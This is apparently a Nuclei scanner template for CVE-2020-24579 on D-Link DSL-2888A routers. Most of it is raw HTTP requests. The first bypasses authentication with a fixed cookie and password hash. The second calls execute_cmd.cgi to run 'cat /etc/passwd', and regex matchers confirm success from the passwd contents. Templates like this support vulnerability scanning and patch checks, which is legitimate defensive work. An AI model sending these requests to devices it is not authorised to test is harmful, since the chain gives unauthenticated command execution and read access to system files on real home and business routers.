id: CVE-2020-24579

info:
  name: DLINK DSL 2888a RCE
  author: pikpikcu
  severity: medium
  description: An issue was discovered on D-Link DSL-2888A devices with firmware prior to AU_2.31_V1.1.47ae55. An unauthenticated attacker could bypass authentication to access authenticated pages and functionality.
  reference: https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/d-link-multiple-security-vulnerabilities-leading-to-rce/
  tags: cve,cve2020,dlink,rce

requests:
  - raw:
      - | # Response:Location: /page/login/login_fail.html
        POST / HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: id,en-US;q=0.7,en;q=0.3
        DNT: 1
        Connection: close
        Cookie: uid=6gPjT2ipmNz
        Upgrade-Insecure-Requests: 1
        Content-Length: 0

        username=admin&password=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

      - | # Get /etc/passwd
        GET /cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=cat%20/etc/passwd HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: id,en-US;q=0.7,en;q=0.3
        DNT: 1
        Connection: close
        Cookie: uid=6gPjT2ipmNz
        Upgrade-Insecure-Requests: 1
        Content-Length: 0

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - "nobody:[x*]:65534:65534"
          - "root:.*:0:0"
        condition: or